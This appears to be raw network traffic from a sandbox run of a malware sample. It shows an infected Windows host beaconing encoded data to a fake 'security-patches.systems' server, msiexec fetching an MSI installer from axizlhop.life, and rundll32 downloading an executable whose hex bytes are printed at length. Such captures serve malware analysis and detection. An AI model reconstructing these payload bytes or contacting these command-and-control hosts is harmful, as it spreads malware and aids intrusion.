Dec 6, 2024 22:21:43.558464050 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:45.104841948 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.40.3	443	7164	C:\Windows\System32\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:19:36 UTC	115	OUT	GET /klog.php HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: axizlhop.life
2024-12-06 21:19:37 UTC	802	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:19:37 GMT Content-Type: application/x-msi Content-Length: 978944 Connection: close X-Powered-By: PHP/8.1.29 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BX8GxNTOjoegMhWHRlCnW2sl0Qmutt1qltoEF%2BT8ruiFRe7X4CRI5Q%2BY%2BwiCHnB5jZEm%2FfV1dugez%2BtExK2cMlyTcgglUD3oOCg0iYzRGAvPradM8eJIWqawX0SjrnJY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edf50b10e2c4223-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1750&min_rtt=1744&rtt_var=666&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=729&delivery_rate=1627647&cwnd=205&unsent_bytes=0&cid=55f72400780380a0&ts=566&x=0"
2024-12-06 21:19:37 UTC	567	IN	Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 06 00 00 00 00 00 00 00 00 00 00 00 0f 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 03 00 00 00 05 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 44 00 00 00 ce 00 00 00 60 01 00 00 c1 01 00 00 15 02 00 00 16 02 00 00 17 02 00 00 18 02 00 00 19 02 00 00 1a 02 00 00 1b 02 00 00 08 00 00 00 2f 06 00 00 30 06 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: >D`/0
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 00 0f 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 15 00 00 00 16 00 00 00 17 00 00 00 18 00 00 00 19 00 00 00 1a 00 00 00 1b 00 00 00 1c 00 00 00 1d 00 00 00 1e 00 00 00 1f 00 00 00 20 00 00 00 2b 00 00 00 22 00 00 00 23 00 00 00 24 00 00 00 25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 31 00 00 00 2c 00 00 00 2d 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 34 00 00 00 32 00 00 00 3a 00 00 00 3f 00 00 00 35 00 00 00 36 00 00 00 37 00 00 00 38 00 00 00 39 00 00 00 3e 00 00 00 3c 00 00 00 b8 01 00 00 3d 00 00 00 a1 01 00 00 8d 05 00 00 40 00 00 00 41 00 00 00 42 00 00 00 43 00 00 00 8b 05 00 00 fd ff ff ff 46 00 00 00 47 00 00 00 48 00 00 00 49 00 00 00 4a 00 00 00 4b 00 00 00 4c 00 00 00 4d 00 00 00 4e 00 Data Ascii: +"#$%&'()*1,-./042:?56789><=@ABCFGHIJKLMN
2024-12-06 21:19:37 UTC	455	IN	Data Raw: f1 45 36 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 16 00 02 01 11 00 00 00 0d 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 0c 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 15 00 00 00 fe ff ff ff 18 00 00 00 fe ff ff ff fe ff ff ff e8 01 00 00 1b 00 00 00 1c 00 00 00 1d 00 00 00 1e 00 00 00 1f 00 00 00 20 00 00 00 21 00 00 00 62 00 00 00 23 00 00 00 24 00 00 Data Ascii: E6H !b#$
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 00 57 00 00 00 58 00 00 00 59 00 00 00 5a 00 00 00 5b 00 00 00 5c 00 00 00 5d 00 00 00 5e 00 00 00 5f 00 00 00 60 00 00 00 61 00 00 00 fe ff ff ff 64 00 00 00 fe ff ff ff 66 00 00 00 fe ff ff ff 67 00 00 00 68 00 00 00 69 00 00 00 6a 00 00 00 6b 00 00 00 6c 00 00 00 6d 00 00 00 6e 00 00 00 6f 00 00 00 70 00 00 00 71 00 00 00 78 00 00 00 73 00 00 00 74 00 00 00 75 00 00 00 76 00 00 00 77 00 00 00 fe ff ff ff 79 00 00 00 7a 00 00 00 7b 00 00 00 7c 00 00 00 7d 00 00 00 7e 00 00 00 7f 00 00 00 80 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 07 00 07 00 07 00 11 00 11 00 11 00 1b 00 1b 00 20 00 20 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 31 00 31 00 31 00 35 00 35 00 35 00 3a 00 3a 00 3a 00 3c 00 3c 00 3c 00 3c 00 3c 00 41 00 41 00 43 00 Data Ascii: WXYZ[\]^_`adfghijklmnopqxstuvwyz{\|}~ ''''''''''111555:::<<<<<AAC
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 32 9d 48 ad 00 8f 02 a5 00 9d 26 ad 26 9d 40 9f ff 9f 02 95 02 85 48 9d 02 85 48 ad 48 9d ff 8f 48 ad 32 ad 32 ad 32 8d 48 ad 00 9d 48 ad 32 ad 32 ad 00 ad 48 ad 32 ad 32 ad ff ad 00 bd 02 95 48 ad 48 ad 48 ad 02 85 48 9d 00 9d 04 91 48 ad 00 9d 02 95 48 ad 00 9d 02 95 00 ad ff 8f 48 ad 02 a5 ff 8d ff 9f 48 ad 02 a5 ff 8d ff 9f 48 9d 48 ad 02 a5 00 8d 02 85 02 85 02 85 02 85 00 9f 32 9f 48 ad 02 85 ff 8f ff 9f 00 9f 48 8d 48 ad ff 9d 26 ad 14 bd 14 bd ff bd 04 a1 ff 9d 48 8d 2b 00 2c 00 2d 00 2e 00 2f 00 30 00 06 00 07 00 08 00 06 00 30 00 64 00 06 00 07 00 08 00 3c 00 85 00 3d 00 7d 00 0c 01 0d 00 75 00 43 00 22 00 04 00 07 00 11 00 1b 00 20 00 27 00 31 00 35 00 3a 00 3c 00 41 00 43 00 46 00 49 00 4a 00 4f 00 56 00 58 00 5a 00 62 00 66 00 68 00 6b 00 72 Data Ascii: 2H&&@HHHH222HH22H22HHHHHHHHHH2HHH&H+,-./00d<=}uC" '15:<ACFIJOVXZbfhkr
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 73 50 61 74 63 68 53 69 7a 65 46 69 6c 65 5f 50 61 74 63 68 54 79 70 65 41 63 74 69 6f 6e 43 6f 6e 64 69 74 69 6f 6e 53 65 71 75 65 6e 63 65 43 6f 73 74 46 69 6e 61 6c 69 7a 65 43 6f 73 74 49 6e 69 74 69 61 6c 69 7a 65 54 61 62 6c 65 4e 61 6d 65 49 6e 73 74 61 6c 6c 46 69 6e 61 6c 69 7a 65 49 6e 73 74 61 6c 6c 49 6e 69 74 69 61 6c 69 7a 65 49 6e 73 74 61 6c 6c 56 61 6c 69 64 61 74 65 41 64 76 74 45 78 65 63 75 74 65 53 65 71 75 65 6e 63 65 43 72 65 61 74 65 53 68 6f 72 74 63 75 74 73 4d 73 69 50 75 62 6c 69 73 68 41 73 73 65 6d 62 6c 69 65 73 50 75 62 6c 69 73 68 43 6f 6d 70 6f 6e 65 6e 74 73 50 75 62 6c 69 73 68 46 65 61 74 75 72 65 73 50 75 62 6c 69 73 68 50 72 6f 64 75 63 74 52 65 67 69 73 74 65 72 43 6c 61 73 73 49 6e 66 6f 52 65 67 69 73 74 65 72 45 Data Ascii: sPatchSizeFile_PatchTypeActionConditionSequenceCostFinalizeCostInitializeTableNameInstallFinalizeInstallInitializeInstallValidateAdvtExecuteSequenceCreateShortcutsMsiPublishAssembliesPublishComponentsPublishFeaturesPublishProductRegisterClassInfoRegisterE
2024-12-06 21:19:37 UTC	1045	IN	Data Raw: 65 53 69 7a 65 53 69 7a 65 20 6f 66 20 66 69 6c 65 20 69 6e 20 62 79 74 65 73 20 28 6c 6f 6e 67 20 69 6e 74 65 67 65 72 29 2e 43 6f 6d 70 6f 6e 65 6e 74 46 6f 72 65 69 67 6e 20 6b 65 79 20 69 6e 74 6f 20 43 6f 6d 70 6f 6e 65 6e 74 20 74 61 62 6c 65 2e 53 65 71 75 65 6e 63 65 20 77 69 74 68 20 72 65 73 70 65 63 74 20 74 6f 20 74 68 65 20 6d 65 64 69 61 20 69 6d 61 67 65 73 3b 20 6f 72 64 65 72 20 6d 75 73 74 20 74 72 61 63 6b 20 63 61 62 69 6e 65 74 20 6f 72 64 65 72 2e 42 6f 6f 74 73 74 72 61 70 70 65 72 55 49 53 65 71 75 65 6e 63 65 4d 65 64 69 61 56 6f 6c 75 6d 65 4c 61 62 65 6c 54 68 65 20 6c 61 62 65 6c 20 61 74 74 72 69 62 75 74 65 64 20 74 6f 20 74 68 65 20 76 6f 6c 75 6d 65 2e 44 69 73 6b 49 64 50 72 69 6d 61 72 79 20 6b 65 79 2c 20 69 6e 74 65 67 Data Ascii: eSizeSize of file in bytes (long integer).ComponentForeign key into Component table.Sequence with respect to the media images; order must track cabinet order.BootstrapperUISequenceMediaVolumeLabelThe label attributed to the volume.DiskIdPrimary key, integ
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 65 6e 20 74 68 65 20 64 69 61 6c 6f 67 20 69 73 20 63 72 65 61 74 65 64 2e 45 72 72 6f 72 4d 65 73 73 61 67 65 54 65 6d 70 6c 61 74 65 45 72 72 6f 72 20 66 6f 72 6d 61 74 74 69 6e 67 20 74 65 6d 70 6c 61 74 65 2c 20 6f 62 74 61 69 6e 65 64 20 66 72 6f 6d 20 75 73 65 72 20 65 64 2e 20 6f 72 20 6c 6f 63 61 6c 69 7a 65 72 73 2e 46 65 61 74 75 72 65 44 69 72 65 63 74 6f 72 79 5f 44 69 72 65 63 74 6f 72 79 55 70 70 65 72 43 61 73 65 54 68 65 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 44 69 72 65 63 74 6f 72 79 20 74 68 61 74 20 63 61 6e 20 62 65 20 63 6f 6e 66 69 67 75 72 65 64 20 62 79 20 74 68 65 20 55 49 2e 20 41 20 6e 6f 6e 2d 6e 75 6c 6c 20 76 61 6c 75 65 20 77 69 6c 6c 20 65 6e 61 62 6c 65 20 74 68 65 20 62 72 6f 77 73 65 20 62 75 74 74 6f 6e 2e 45 76 65 6e Data Ascii: en the dialog is created.ErrorMessageTemplateError formatting template, obtained from user ed. or localizers.FeatureDirectory_DirectoryUpperCaseThe name of the Directory that can be configured by the UI. A non-null value will enable the browse button.Even
2024-12-06 21:19:37 UTC	1207	IN	Data Raw: 6c 20 70 61 74 68 2c 20 73 65 74 20 65 69 74 68 65 72 20 62 79 20 74 68 65 20 41 70 70 53 65 61 72 63 68 20 61 63 74 69 6f 6e 20 6f 72 20 77 69 74 68 20 74 68 65 20 64 65 66 61 75 6c 74 20 73 65 74 74 69 6e 67 20 6f 62 74 61 69 6e 65 64 20 66 72 6f 6d 20 74 68 65 20 44 69 72 65 63 74 6f 72 79 20 74 61 62 6c 65 2e 52 65 6d 6f 74 65 20 65 78 65 63 75 74 69 6f 6e 20 6f 70 74 69 6f 6e 2c 20 6f 6e 65 20 6f 66 20 69 72 73 45 6e 75 6d 41 20 63 6f 6e 64 69 74 69 6f 6e 61 6c 20 73 74 61 74 65 6d 65 6e 74 20 74 68 61 74 20 77 69 6c 6c 20 64 69 73 61 62 6c 65 20 74 68 69 73 20 63 6f 6d 70 6f 6e 65 6e 74 20 69 66 20 74 68 65 20 73 70 65 63 69 66 69 65 64 20 63 6f 6e 64 69 74 69 6f 6e 20 65 76 61 6c 75 61 74 65 73 20 74 6f 20 74 68 65 20 27 54 72 75 65 27 20 73 74 61 Data Ascii: l path, set either by the AppSearch action or with the default setting obtained from the Directory table.Remote execution option, one of irsEnumA conditional statement that will disable this component if the specified condition evaluates to the 'True' sta
2024-12-06 21:19:37 UTC	1369	IN	Data Raw: 72 6f 6c 20 6f 6e 20 74 68 65 20 73 61 6d 65 20 64 69 61 6c 6f 67 2e 20 54 68 69 73 20 6c 69 6e 6b 20 64 65 66 69 6e 65 73 20 74 68 65 20 74 61 62 20 6f 72 64 65 72 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 73 2e 20 54 68 65 20 6c 69 6e 6b 73 20 68 61 76 65 20 74 6f 20 66 6f 72 6d 20 6f 6e 65 20 6f 72 20 6d 6f 72 65 20 63 79 63 6c 65 73 21 48 65 6c 70 54 68 65 20 68 65 6c 70 20 73 74 72 69 6e 67 73 20 75 73 65 64 20 77 69 74 68 20 74 68 65 20 62 75 74 74 6f 6e 2e 20 54 68 65 20 74 65 78 74 20 69 73 20 6f 70 74 69 6f 6e 61 6c 2e 20 43 6f 6e 74 72 6f 6c 43 6f 6e 64 69 74 69 6f 6e 41 20 66 6f 72 65 69 67 6e 20 6b 65 79 20 74 6f 20 74 68 65 20 44 69 61 6c 6f 67 20 74 61 62 6c 65 2c 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 64 69 61 6c 6f 67 2e 43 6f 6e 74 72 Data Ascii: rol on the same dialog. This link defines the tab order of the controls. The links have to form one or more cycles!HelpThe help strings used with the button. The text is optional. ControlConditionA foreign key to the Dialog table, name of the dialog.Contr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.234.216.175	443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:19:41 UTC	125	OUT	GET /AdminAccounts.aspx HTTP/1.1 User-Agent: Microsoft-WNS/11.0 Host: security-patches.systems Cache-Control: no-cache
2024-12-06 21:19:42 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:19:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 06 Dec 2024 08:34:45 GMT ETag: "4e000-62895e318030d" Accept-Ranges: bytes Content-Length: 319488 Connection: close
2024-12-06 21:19:42 UTC	7940	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 80 b9 36 3d c4 d8 58 6e c4 d8 58 6e c4 d8 58 6e 17 aa 5b 6f ce d8 58 6e 17 aa 5d 6f 4c d8 58 6e 17 aa 5c 6f d0 d8 58 6e c2 59 5d 6f db d8 58 6e c2 59 5c 6f d4 d8 58 6e c2 59 5b 6f d0 d8 58 6e 17 aa 59 6f cf d8 58 6e c4 d8 59 6e b2 d8 58 6e ae 59 5d 6f c6 d8 58 6e ae 59 58 6f c5 d8 58 6e ae 59 5a 6f c5 d8 58 6e 52 69 63 68 c4 d8 58 6e 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$6=XnXnXn[oXn]oLXn\oXnY]oXnY\oXnY[oXnYoXnYnXnY]oXnYXoXnYZoXnRichXnPEL
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: c7 45 b0 66 4c e7 ea 89 55 b4 a0 44 a1 04 10 88 45 ff c7 45 dc 22 00 00 00 8b 0d 78 a1 04 10 33 d2 89 8d 14 fd ff ff 89 95 18 fd ff ff c7 85 38 fd ff ff 6f 9d ef f4 c6 45 95 40 0f b6 05 bb a0 04 10 99 89 85 0c fd ff ff 89 95 10 fd ff ff a1 d8 a0 04 10 8b 0d dc a0 04 10 89 8d 34 fd ff ff 89 85 30 fd ff ff c6 45 83 5f 8b 15 88 a1 04 10 a1 8c a1 04 10 89 85 2c fd ff ff 89 95 28 fd ff ff 8b 0d 40 a1 04 10 89 8d 24 fd ff ff 8b 15 18 a1 04 10 89 95 20 fd ff ff a0 28 a1 04 10 88 45 96 8b 0d 68 a1 04 10 8b 15 6c a1 04 10 89 8d 04 fd ff ff 89 95 08 fd ff ff 66 0f be 05 3f a0 04 10 66 89 85 9c fe ff ff 33 c9 c7 85 fc fc ff ff 4c 99 fc 6e 89 8d 00 fd ff ff 8b 15 30 a1 04 10 a1 34 a1 04 10 89 85 1c fd ff ff 88 55 97 66 0f b6 0d bc a0 04 10 66 89 8d a0 fe ff ff 8b 15 Data Ascii: EfLUDEE"x38oE@40E_,(@$ (Ehlf?f3Ln04Uff
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: 95 cc fe ff ff 75 0c c7 85 c8 fe ff ff 01 00 00 00 eb 0a c7 85 c8 fe ff ff 00 00 00 00 0f b7 45 f0 85 c0 75 0c c7 85 c4 fe ff ff 01 00 00 00 eb 0a c7 85 c4 fe ff ff 00 00 00 00 0f b6 0d 6b a0 04 10 f7 d1 03 0d 58 a1 04 10 75 14 33 d2 c7 85 e4 fd ff ff 01 00 00 00 89 95 e8 fd ff ff eb 0b 0f 57 c0 66 0f 13 85 e4 fd ff ff 8b 85 c8 fe ff ff 0f af 85 c4 fe ff ff 99 8b f0 0f b6 45 fd 99 8b 4d bc 8b 7d c0 2b c8 1b fa 57 51 8b 95 e8 fd ff ff 52 8b 85 e4 fd ff ff 50 e8 bd 7d 02 00 33 f0 89 35 40 a1 04 10 8b 0d f8 a0 04 10 8b 35 fc a0 04 10 0f be 45 ff 05 4a 36 34 5b 99 89 8d 58 fc ff ff 89 b5 5c fc ff ff 89 85 50 fc ff ff 89 95 54 fc ff ff 8b 95 58 fc ff ff 3b 95 50 fc ff ff 75 44 8b 85 5c fc ff ff 3b 85 54 fc ff ff 75 36 8b 4d bc 8b 55 c0 89 95 a0 fa ff ff 81 c1 Data Ascii: uEukXu3WfEM}+WQRP}35@5EJ64[X\PTX;PuD\;Tu6MU
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: ff ff 75 0c c7 85 c4 fe ff ff 01 00 00 00 eb 0a c7 85 c4 fe ff ff 00 00 00 00 8b 55 d0 f7 d2 0f af 55 b4 0f be 05 92 a0 04 10 33 d0 8b 8d c8 fe ff ff 03 8d c4 fe ff ff 0f af d1 88 55 ff 83 3d 90 a1 04 10 01 0f 85 24 01 00 00 ba 01 00 00 00 66 89 15 50 a1 04 10 0f b6 45 fd f7 d0 99 8b 0d c0 a0 04 10 8b 35 c4 a0 04 10 56 51 52 50 e8 e9 3d 02 00 f7 d0 66 89 45 e4 0f b7 15 50 a1 04 10 89 95 c0 fe ff ff 83 bd c0 fe ff ff 00 74 0e 83 bd c0 fe ff ff 01 74 24 e9 a7 00 00 00 a1 04 a1 04 10 0f af 05 44 a1 04 10 8b 0d 04 a1 04 10 03 c8 89 0d 04 a1 04 10 e9 88 00 00 00 8b 15 f8 a0 04 10 a1 fc a0 04 10 89 95 c0 fa ff ff 89 85 c4 fa ff ff 8b 8d c0 fa ff ff 0b 8d c4 fa ff ff 75 0c c7 85 bc fe ff ff 01 00 00 00 eb 0a c7 85 bc fe ff ff 00 00 00 00 8b 0d d8 a0 04 10 8b 35 Data Ascii: uUU3U=$fPE5VQRP=fEPtt$Du5
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: 89 8d f8 fe ff ff ba 74 00 00 00 66 89 95 fa fe ff ff b8 63 00 00 00 66 89 85 fc fe ff ff b9 68 00 00 00 66 89 8d fe fe ff ff ba 65 00 00 00 66 89 95 00 ff ff ff b8 73 00 00 00 66 89 85 02 ff ff ff b9 2e 00 00 00 66 89 8d 04 ff ff ff ba 73 00 00 00 66 89 95 06 ff ff ff b8 79 00 00 00 66 89 85 08 ff ff ff b9 73 00 00 00 66 89 8d 0a ff ff ff ba 74 00 00 00 66 89 95 0c ff ff ff b8 65 00 00 00 66 89 85 0e ff ff ff b9 6d 00 00 00 66 89 8d 10 ff ff ff ba 73 00 00 00 66 89 95 12 ff ff ff b8 2f 00 00 00 66 89 85 14 ff ff ff b9 76 00 00 00 66 89 8d 16 ff ff ff ba 65 00 00 00 66 89 95 18 ff ff ff b8 72 00 00 00 66 89 85 1a ff ff ff b9 69 00 00 00 66 89 8d 1c ff ff ff ba 66 00 00 00 66 89 95 1e ff ff ff b8 2e 00 00 00 66 89 85 20 ff ff ff b9 61 00 00 00 66 89 8d 22 Data Ascii: tfcfhfefsf.fsfyfsftfefmfsf/fvfefrfifff.f af"
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: e0 03 33 c9 89 45 c4 89 4d c8 eb 22 8b 15 d0 a0 04 10 0b 15 d4 a0 04 10 74 14 0f b7 05 50 a1 04 10 69 c8 34 ad ca d5 66 89 0d 24 a1 04 10 eb 2b 8b 45 cc 99 03 45 bc 13 55 c0 03 45 bc 13 55 c0 89 45 bc 89 55 c0 ba ea 51 08 00 c7 05 f8 a0 04 10 20 d7 b8 e4 89 15 fc a0 04 10 8b 85 54 ff ff ff 83 c0 45 89 85 58 fa ff ff 0f b6 0d bc a0 04 10 c1 e1 06 89 4d e0 a1 5c a1 04 10 99 2d 7a 76 a7 c4 8b 55 e0 0b d0 89 55 e0 8b 85 54 ff ff ff 83 c0 20 89 85 38 fe ff ff 8b 0d e0 a0 04 10 8b 15 e4 a0 04 10 89 95 54 fa ff ff 81 e9 d7 00 00 00 89 0d 5c a1 04 10 0f b7 45 f8 0f b6 4d fe 23 c1 0f b7 55 f8 03 d0 66 89 55 f8 8b 85 38 fe ff ff 03 85 38 fe ff ff b9 fe 01 00 00 2b c8 89 8d b4 fc ff ff 33 d2 88 55 a0 68 04 01 00 00 8d 85 44 f6 ff ff 50 8d 8d fa f8 ff ff 51 8d 4d a0 Data Ascii: 3EM"tPi4f$+EEUEUEUQ TEXM\-zvUUT 8T\EM#UfU88+3UhDPQM
2024-12-06 21:19:42 UTC	16384	IN	Data Raw: 88 a1 04 10 8b 15 8c a1 04 10 f7 d1 f7 d2 89 8d e0 fc ff ff 89 95 e4 fc ff ff 81 bd e0 fc ff ff 68 27 84 f0 75 18 81 bd e4 fc ff ff 70 c6 f4 ff 75 0c c7 85 b0 fe ff ff 01 00 00 00 eb 0a c7 85 b0 fe ff ff 00 00 00 00 8b 85 b4 fe ff ff 3b 85 b0 fe ff ff 7c 0c c7 85 ac fe ff ff 01 00 00 00 eb 0a c7 85 ac fe ff ff 00 00 00 00 8b 8d ac fe ff ff f7 d1 85 c9 74 39 8b 15 10 a1 04 10 81 c2 e2 00 00 00 a1 54 a1 04 10 03 c2 a3 54 a1 04 10 0f bf 0d 20 a1 04 10 0f bf 15 00 a1 04 10 2b ca 0f bf 05 20 a1 04 10 03 c1 66 a3 20 a1 04 10 eb 26 0f bf 4d f0 85 c9 74 1e 0f bf 15 20 a1 04 10 81 f2 28 f9 00 00 66 89 15 00 a1 04 10 a0 78 ac 04 10 a2 bc a0 04 10 8b 4d 98 51 6a 00 ff 15 44 b0 03 10 50 ff 15 3c b0 03 10 89 45 94 33 d2 c7 05 f8 a0 04 10 e0 1a c3 4f 89 15 fc a0 04 10 Data Ascii: h'upu;\|t9TT + f &Mt (fxMQjDP<E3O
2024-12-06 21:19:43 UTC	16384	IN	Data Raw: f5 ff ff 38 00 00 00 0f b6 05 6b a0 04 10 99 89 85 5c f4 ff ff 89 95 60 f4 ff ff c7 85 84 f4 ff ff 44 fc 96 51 c7 85 88 f4 ff ff ba 21 a8 0b 8b 0d 90 a1 04 10 66 89 8d 2c fb ff ff 0f b6 05 6b a0 04 10 99 89 85 54 f4 ff ff 89 95 58 f4 ff ff c7 85 90 f4 ff ff c9 e8 4c 74 8b 15 4c a1 04 10 89 95 94 f4 ff ff c7 85 98 f4 ff ff be aa 47 50 c7 85 9c f4 ff ff a9 00 00 00 66 a1 20 a1 04 10 88 85 e2 fe ff ff c6 85 e3 fe ff ff 80 c7 85 a0 f4 ff ff e0 c4 df 6c b9 e7 8b ff ff 66 89 8d 28 fb ff ff 0f b6 55 fa 69 c2 c1 f1 bd 3b 89 45 a4 8b 0d 04 a1 04 10 2b 4d b0 8b 15 04 a1 04 10 2b d1 89 15 04 a1 04 10 a1 78 ac 04 10 89 85 d8 fe ff ff c7 85 dc fe ff ff 00 00 00 00 eb 0f 8b 8d dc fe ff ff 83 c1 01 89 8d dc fe ff ff 83 bd dc fe ff ff 63 0f 8d 4f 01 00 00 83 3d 4c a1 04 Data Ascii: 8k\`DQ!f,kTXLtLGPf lf(Ui;E+M+xcO=L
2024-12-06 21:19:43 UTC	16384	IN	Data Raw: 55 c0 52 e8 54 fe 00 00 a2 bb a0 04 10 0f be 05 17 a0 04 10 89 85 44 fd ff ff 83 bd 44 fd ff ff 04 0f 87 a2 00 00 00 8b 8d 44 fd ff ff ff 24 8d b0 1d 02 10 8a 15 78 ac 04 10 88 15 56 a0 04 10 a1 5c a1 04 10 99 05 92 2e c4 3a 81 d2 79 3c 0a 00 33 c9 03 05 7c a1 04 10 13 d1 a3 d0 a0 04 10 89 15 d4 a0 04 10 eb 61 0f b6 45 fe 99 a3 30 a1 04 10 89 15 34 a1 04 10 8b 55 98 2b 55 d8 8b 45 9c 1b 45 dc 89 55 98 89 45 9c eb 3d 8b 4d d0 8b 55 d4 a1 64 a1 04 10 2b 0d 60 a1 04 10 1b d0 89 4d d0 89 55 d4 eb 22 0f b6 0d 6b a0 04 10 0f be 15 17 a0 04 10 0f af ca 88 4d ff eb 0c 33 c0 c7 45 d8 a4 50 00 00 89 45 dc c7 85 28 ff ff ff 00 00 00 00 eb 0f 8b 8d 28 ff ff ff 83 c1 02 89 8d 28 ff ff ff 81 bd 28 ff ff ff f5 01 00 00 0f 8d 89 00 00 00 0f b6 55 fa 0f be 05 17 a0 04 10 Data Ascii: URTDDD$xV\.:y<3\|aE04U+UEEUE=MUd+`MU"kM3EPE((((U
